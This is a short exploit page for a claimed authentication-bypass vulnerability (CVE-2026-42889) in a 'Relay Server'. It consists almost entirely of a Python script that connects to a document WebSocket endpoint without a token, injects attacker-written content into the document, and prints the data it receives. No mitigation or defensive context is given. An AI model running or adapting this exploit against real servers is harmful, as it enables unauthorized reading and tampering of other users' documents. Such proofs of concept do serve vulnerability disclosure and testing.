CVE-2026-42889 Relay Server认证绕过漏洞

import asyncio import websockets async def exploit(target_uri, doc_id): # Construct the WebSocket URL without a token # Vulnerability: Server treats connections without token as fully authorized uri = f"{target_uri}/ws/doc/{doc_id}" try: async with websockets.connect(uri) as websocket: print(f"[+] Connected to {uri} without authentication") # Send a malicious message to read or modify document content # Example payload structure depends on Relay Server protocol payload = { "type": "edit", "content": "Malicious content injected by attacker" } await websocket.send(str(payload)) print("[+] Payload sent") # Listen for response (document content) response = await websocket.recv() print(f"[+] Received data: {response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target and guessed document ID target_host = "ws://192.168.1.100:8080" target_doc_id = "example-doc-id-123" asyncio.run(exploit(target_host, target_doc_id))